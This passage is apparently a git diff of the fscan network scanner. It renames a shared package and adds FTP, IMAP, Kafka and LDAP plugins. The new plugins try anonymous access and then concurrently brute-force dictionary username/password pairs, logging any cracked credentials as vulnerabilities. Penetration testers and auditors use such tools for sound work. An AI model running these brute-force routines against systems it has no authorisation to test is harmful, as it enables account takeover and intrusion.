Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 首先测试无认证访问
common.LogDebug("尝试无认证访问...")
unauthResult := tryElasticCredential(ctx, info, ElasticCredential{"", ""}, common.Timeout, common.MaxRetries)
Common.LogDebug("尝试无认证访问...")
unauthResult := tryElasticCredential(ctx, info, ElasticCredential{"", ""}, Common.Timeout, Common.MaxRetries)
if unauthResult.Success {
// 无需认证情况
@ -51,8 +50,8 @@ func ElasticScan(info *common.HostInfo) error {
// 构建凭据列表
var credentials []ElasticCredential
for _, user := range common.Userdict["elastic"] {
for _, pass := range common.Passwords {
for _, user := range Common.Userdict["elastic"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, ElasticCredential{
Username: user,
@ -61,11 +60,11 @@ func ElasticScan(info *common.HostInfo) error {
}
}
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["elastic"]), len(common.Passwords), len(credentials)))
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["elastic"]), len(Common.Passwords), len(credentials)))
// 并发扫描
result := concurrentElasticScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
result := concurrentElasticScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveElasticResult(info, target, result.Credential, false)
@ -75,18 +74,18 @@ func ElasticScan(info *common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
common.LogDebug("Elasticsearch扫描全局超时")
Common.LogDebug("Elasticsearch扫描全局超时")
return fmt.Errorf("全局超时")
default:
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1是因为尝试了无认证
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1是因为尝试了无认证
return nil
}
}
// concurrentElasticScan 并发扫描Elasticsearch服务
func concurrentElasticScan(ctx context.Context, info *common.HostInfo, credentials []ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
func concurrentElasticScan(ctx context.Context, info *Common.HostInfo, credentials []ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := common.ModuleThreadNum
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -132,7 +131,7 @@ func concurrentElasticScan(ctx context.Context, info *common.HostInfo, credentia
case <-scanCtx.Done():
break
default:
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -153,14 +152,14 @@ func concurrentElasticScan(ctx context.Context, info *common.HostInfo, credentia
}
return nil
case <-ctx.Done():
common.LogDebug("Elasticsearch并发扫描全局超时")
Common.LogDebug("Elasticsearch并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryElasticCredential 尝试单个Elasticsearch凭据
func tryElasticCredential(ctx context.Context, info *common.HostInfo, credential ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
func tryElasticCredential(ctx context.Context, info *Common.HostInfo, credential ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -173,7 +172,7 @@ func tryElasticCredential(ctx context.Context, info *common.HostInfo, credential
}
default:
if retry > 0 {
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -190,7 +189,7 @@ func tryElasticCredential(ctx context.Context, info *common.HostInfo, credential
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := common.CheckErrs(err); retryErr == nil {
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -205,7 +204,7 @@ func tryElasticCredential(ctx context.Context, info *common.HostInfo, credential
}
// ElasticConn 尝试Elasticsearch连接
func ElasticConn(ctx context.Context, info *common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) {
func ElasticConn(ctx context.Context, info *Common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(timeoutSeconds) * time.Second
@ -270,7 +269,7 @@ func ElasticConn(ctx context.Context, info *common.HostInfo, user string, pass s
}
// saveElasticResult 保存Elasticsearch扫描结果
func saveElasticResult(info *common.HostInfo, target string, credential ElasticCredential, isUnauth bool) {
func saveElasticResult(info *Common.HostInfo, target string, credential ElasticCredential, isUnauth bool) {
var successMsg string
var details map[string]interface{}
@ -293,15 +292,15 @@ func saveElasticResult(info *common.HostInfo, target string, credential ElasticC
}
}
common.LogSuccess(successMsg)
Common.LogSuccess(successMsg)
// 保存结果
result := &output.ScanResult{
result := &Common.ScanResult{
Time: time.Now(),
Type: output.TypeVuln,
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
common.SaveResult(result)
Common.SaveResult(result)
}

345
Plugins/FTP.go Normal file
View File

@ -0,0 +1,345 @@
package Plugins
import (
"context"
"fmt"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/Common"
"strings"
"sync"
"time"
)
// FtpCredential 表示一个FTP凭据
type FtpCredential struct {
Username string
Password string
}
// FtpScanResult 表示FTP扫描结果
type FtpScanResult struct {
Success bool
Error error
Credential FtpCredential
Directories []string
IsAnonymous bool
}
func FtpScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 首先尝试匿名登录
Common.LogDebug("尝试匿名登录...")
anonymousResult := tryFtpCredential(ctx, info, FtpCredential{"anonymous", ""}, Common.Timeout, Common.MaxRetries)
if anonymousResult.Success {
// 匿名登录成功
saveFtpResult(info, target, anonymousResult)
return nil
}
// 构建凭据列表
var credentials []FtpCredential
for _, user := range Common.Userdict["ftp"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, FtpCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["ftp"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentFtpScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 保存成功结果
saveFtpResult(info, target, result)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("FTP扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名登录
return nil
}
}
// concurrentFtpScan 并发扫描FTP服务
func concurrentFtpScan(ctx context.Context, info *Common.HostInfo, credentials []FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *FtpScanResult, 1)
workChan := make(chan FtpCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryFtpCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("FTP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryFtpCredential 尝试单个FTP凭据
func tryFtpCredential(ctx context.Context, info *Common.HostInfo, credential FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &FtpScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建结果通道
resultChan := make(chan struct {
success bool
directories []string
err error
}, 1)
// 在协程中尝试连接
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
go func() {
defer cancel()
success, dirs, err := FtpConn(info, credential.Username, credential.Password)
select {
case <-connCtx.Done():
case resultChan <- struct {
success bool
directories []string
err error
}{success, dirs, err}:
}
}()
// 等待结果或超时
var success bool
var dirs []string
var err error
select {
case result := <-resultChan:
success = result.success
dirs = result.directories
err = result.err
case <-connCtx.Done():
if ctx.Err() != nil {
// 全局超时
return &FtpScanResult{
Success: false,
Error: ctx.Err(),
Credential: credential,
}
}
// 单个连接超时
err = fmt.Errorf("连接超时")
}
if success {
isAnonymous := credential.Username == "anonymous" && credential.Password == ""
return &FtpScanResult{
Success: true,
Credential: credential,
Directories: dirs,
IsAnonymous: isAnonymous,
}
}
lastErr = err
if err != nil {
// 登录错误不需要重试
if strings.Contains(err.Error(), "Login incorrect") {
break
}
// 连接数过多需要等待
if strings.Contains(err.Error(), "too many connections") {
Common.LogDebug("连接数过多等待5秒...")
time.Sleep(5 * time.Second)
continue
}
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break
}
}
}
}
return &FtpScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// FtpConn 建立FTP连接并尝试登录
func FtpConn(info *Common.HostInfo, user string, pass string) (success bool, directories []string, err error) {
Host, Port := info.Host, info.Ports
// 建立FTP连接
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(Common.Timeout)*time.Second)
if err != nil {
return false, nil, err
}
defer func() {
if conn != nil {
conn.Quit()
}
}()
// 尝试登录
if err = conn.Login(user, pass); err != nil {
return false, nil, err
}
// 获取目录信息
dirs, err := conn.List("")
if err == nil && len(dirs) > 0 {
directories = make([]string, 0, min(6, len(dirs)))
for i := 0; i < len(dirs) && i < 6; i++ {
name := dirs[i].Name
if len(name) > 50 {
name = name[:50]
}
directories = append(directories, name)
}
}
return true, directories, nil
}
// saveFtpResult 保存FTP扫描结果
func saveFtpResult(info *Common.HostInfo, target string, result *FtpScanResult) {
var successMsg string
var details map[string]interface{}
if result.IsAnonymous {
successMsg = fmt.Sprintf("FTP服务 %s 匿名登录成功!", target)
details = map[string]interface{}{
"port": info.Ports,
"service": "ftp",
"username": "anonymous",
"password": "",
"type": "anonymous-login",
"directories": result.Directories,
}
} else {
successMsg = fmt.Sprintf("FTP服务 %s 成功爆破 用户名: %v 密码: %v",
target, result.Credential.Username, result.Credential.Password)
details = map[string]interface{}{
"port": info.Ports,
"service": "ftp",
"username": result.Credential.Username,
"password": result.Credential.Password,
"type": "weak-password",
"directories": result.Directories,
}
}
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
}
// min 返回两个整数中的较小值
func min(a, b int) int {
if a < b {
return a
}
return b
}

View File

@ -4,8 +4,7 @@ import (
"bytes"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
"github.com/shadow1ng/fscan/Common"
"net"
"regexp"
"strconv"
@ -20,19 +19,19 @@ var (
bufferV3, _ = hex.DecodeString("0900ffff0000")
)
func Findnet(info *common.HostInfo) error {
func Findnet(info *Common.HostInfo) error {
return FindnetScan(info)
}
func FindnetScan(info *common.HostInfo) error {
func FindnetScan(info *Common.HostInfo) error {
target := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := common.WrapperTcpWithTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return fmt.Errorf("连接RPC端口失败: %v", err)
}
defer conn.Close()
if err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)); err != nil {
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return fmt.Errorf("设置超时失败: %v", err)
}
@ -193,14 +192,14 @@ func read(text []byte, host string) error {
}
// 保存扫描结果
result := &output.ScanResult{
result := &Common.ScanResult{
Time: time.Now(),
Type: output.TypeService,
Type: Common.SERVICE,
Target: host,
Status: "identified",
Details: details,
}
common.SaveResult(result)
Common.SaveResult(result)
// 构建控制台输出
var output strings.Builder
@ -225,6 +224,6 @@ func read(text []byte, host string) error {
}
}
common.LogInfo(output.String())
Common.LogInfo(output.String())
return nil
}

324
Plugins/IMAP.go Normal file
View File

@ -0,0 +1,324 @@
package Plugins
import (
"bufio"
"context"
"crypto/tls"
"fmt"
"github.com/shadow1ng/fscan/Common"
"io"
"net"
"strings"
"sync"
"time"
)
// IMAPCredential 表示一个IMAP凭据
type IMAPCredential struct {
Username string
Password string
}
// IMAPScanResult 表示IMAP扫描结果
type IMAPScanResult struct {
Success bool
Error error
Credential IMAPCredential
}
// IMAPScan 主扫描函数
func IMAPScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []IMAPCredential
for _, user := range Common.Userdict["imap"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, IMAPCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["imap"]), len(Common.Passwords), len(credentials)))
// 并发扫描
result := concurrentIMAPScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveIMAPResult(info, target, result.Credential)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("IMAP扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentIMAPScan 并发扫描IMAP服务
func concurrentIMAPScan(ctx context.Context, info *Common.HostInfo, credentials []IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *IMAPScanResult, 1)
workChan := make(chan IMAPCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryIMAPCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("IMAP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryIMAPCredential 尝试单个IMAP凭据
func tryIMAPCredential(ctx context.Context, info *Common.HostInfo, credential IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &IMAPScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建单个连接超时的上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := IMAPConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &IMAPScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &IMAPScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// IMAPConn 连接测试函数
func IMAPConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
addr := fmt.Sprintf("%s:%s", host, port)
// 创建结果通道
resultChan := make(chan struct {
success bool
err error
}, 1)
// 在协程中尝试连接
go func() {
// 先尝试普通连接
dialer := &net.Dialer{Timeout: timeout}
conn, err := dialer.DialContext(ctx, "tcp", addr)
if err == nil {
flag, authErr := tryIMAPAuth(conn, user, pass, timeout)
conn.Close()
if authErr == nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{flag, nil}:
}
return
}
}
// 如果普通连接失败或认证失败尝试TLS连接
tlsConfig := &tls.Config{
InsecureSkipVerify: true,
}
tlsConn, tlsErr := tls.DialWithDialer(dialer, "tcp", addr, tlsConfig)
if tlsErr != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{false, fmt.Errorf("连接失败: %v", tlsErr)}:
}
return
}
defer tlsConn.Close()
flag, authErr := tryIMAPAuth(tlsConn, user, pass, timeout)
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{flag, authErr}:
}
}()
// 等待结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.err
case <-ctx.Done():
return false, ctx.Err()
}
}
// tryIMAPAuth 尝试IMAP认证
func tryIMAPAuth(conn net.Conn, user string, pass string, timeout time.Duration) (bool, error) {
conn.SetDeadline(time.Now().Add(timeout))
reader := bufio.NewReader(conn)
_, err := reader.ReadString('\n')
if err != nil {
return false, fmt.Errorf("读取欢迎消息失败: %v", err)
}
loginCmd := fmt.Sprintf("a001 LOGIN \"%s\" \"%s\"\r\n", user, pass)
_, err = conn.Write([]byte(loginCmd))
if err != nil {
return false, fmt.Errorf("发送登录命令失败: %v", err)
}
for {
conn.SetDeadline(time.Now().Add(timeout))
response, err := reader.ReadString('\n')
if err != nil {
if err == io.EOF {
return false, fmt.Errorf("认证失败")
}
return false, fmt.Errorf("读取响应失败: %v", err)
}
if strings.Contains(response, "a001 OK") {
return true, nil
}
if strings.Contains(response, "a001 NO") || strings.Contains(response, "a001 BAD") {
return false, fmt.Errorf("认证失败")
}
}
}
// saveIMAPResult 保存IMAP扫描结果
func saveIMAPResult(info *Common.HostInfo, target string, credential IMAPCredential) {
successMsg := fmt.Sprintf("IMAP服务 %s 爆破成功 用户名: %v 密码: %v",
target, credential.Username, credential.Password)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "imap",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
}

327
Plugins/Kafka.go Normal file
View File

@ -0,0 +1,327 @@
package Plugins
import (
"context"
"fmt"
"github.com/IBM/sarama"
"github.com/shadow1ng/fscan/Common"
"strings"
"sync"
"time"
)
// KafkaCredential 表示Kafka凭据
type KafkaCredential struct {
Username string
Password string
}
// KafkaScanResult 表示扫描结果
type KafkaScanResult struct {
Success bool
IsUnauth bool
Error error
Credential KafkaCredential
}
func KafkaScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 先尝试无认证访问
Common.LogDebug("尝试无认证访问...")
unauthResult := tryKafkaCredential(ctx, info, KafkaCredential{"", ""}, Common.Timeout, Common.MaxRetries)
if unauthResult.Success {
// 无认证访问成功
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 无需认证即可访问", target))
// 保存无认证访问结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "kafka",
"type": "unauthorized-access",
},
}
Common.SaveResult(result)
return nil
}
// 构建凭据列表
var credentials []KafkaCredential
for _, user := range Common.Userdict["kafka"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, KafkaCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["kafka"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentKafkaScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 保存爆破成功结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "kafka",
"type": "weak-password",
"username": result.Credential.Username,
"password": result.Credential.Password,
},
}
Common.SaveResult(vulnResult)
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 爆破成功 用户名: %s 密码: %s",
target, result.Credential.Username, result.Credential.Password))
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Kafka扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了无认证
return nil
}
}
// concurrentKafkaScan 并发扫描Kafka服务
func concurrentKafkaScan(ctx context.Context, info *Common.HostInfo, credentials []KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *KafkaScanResult, 1)
workChan := make(chan KafkaCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryKafkaCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("Kafka并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryKafkaCredential 尝试单个Kafka凭据
func tryKafkaCredential(ctx context.Context, info *Common.HostInfo, credential KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &KafkaScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建单个连接超时的上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
// 在协程中执行Kafka连接
resultChan := make(chan struct {
success bool
err error
}, 1)
go func() {
success, err := KafkaConn(info, credential.Username, credential.Password)
select {
case <-connCtx.Done():
// 连接超时或被取消
case resultChan <- struct {
success bool
err error
}{success, err}:
// 发送结果
}
}()
// 等待结果或超时
var success bool
var err error
select {
case result := <-resultChan:
success = result.success
err = result.err
case <-connCtx.Done():
if ctx.Err() != nil {
// 全局超时
cancel()
return &KafkaScanResult{
Success: false,
Error: ctx.Err(),
Credential: credential,
}
}
// 单个连接超时
err = fmt.Errorf("连接超时")
}
cancel() // 清理单个连接上下文
if success {
isUnauth := credential.Username == "" && credential.Password == ""
return &KafkaScanResult{
Success: true,
IsUnauth: isUnauth,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 记录错误
Common.LogError(fmt.Sprintf("Kafka尝试失败 用户名: %s 密码: %s 错误: %v",
credential.Username, credential.Password, err))
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &KafkaScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// KafkaConn 尝试 Kafka 连接
func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
config := sarama.NewConfig()
config.Net.DialTimeout = timeout
config.Net.ReadTimeout = timeout
config.Net.WriteTimeout = timeout
config.Net.TLS.Enable = false
config.Version = sarama.V2_0_0_0
// 设置 SASL 配置
if user != "" || pass != "" {
config.Net.SASL.Enable = true
config.Net.SASL.Mechanism = sarama.SASLTypePlaintext
config.Net.SASL.User = user
config.Net.SASL.Password = pass
config.Net.SASL.Handshake = true
}
brokers := []string{fmt.Sprintf("%s:%s", host, port)}
// 尝试作为消费者连接测试
consumer, err := sarama.NewConsumer(brokers, config)
if err == nil {
defer consumer.Close()
return true, nil
}
// 如果消费者连接失败,尝试作为客户端连接
client, err := sarama.NewClient(brokers, config)
if err == nil {
defer client.Close()
return true, nil
}
// 检查错误类型
if strings.Contains(err.Error(), "SASL") ||
strings.Contains(err.Error(), "authentication") ||
strings.Contains(err.Error(), "credentials") {
return false, fmt.Errorf("认证失败")
}
return false, err
}

312
Plugins/LDAP.go Normal file
View File

@ -0,0 +1,312 @@
package Plugins
import (
"context"
"fmt"
"github.com/go-ldap/ldap/v3"
"github.com/shadow1ng/fscan/Common"
"net"
"strings"
"sync"
"time"
)
// LDAPCredential 表示一个LDAP凭据
type LDAPCredential struct {
Username string
Password string
}
// LDAPScanResult 表示LDAP扫描结果
type LDAPScanResult struct {
Success bool
Error error
Credential LDAPCredential
IsAnonymous bool
}
func LDAPScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 首先尝试匿名访问
Common.LogDebug("尝试匿名访问...")
anonymousResult := tryLDAPCredential(ctx, info, LDAPCredential{"", ""}, Common.Timeout, 1)
if anonymousResult.Success {
// 匿名访问成功
saveLDAPResult(info, target, anonymousResult)
return nil
}
// 构建凭据列表
var credentials []LDAPCredential
for _, user := range Common.Userdict["ldap"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, LDAPCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["ldap"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentLDAPScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
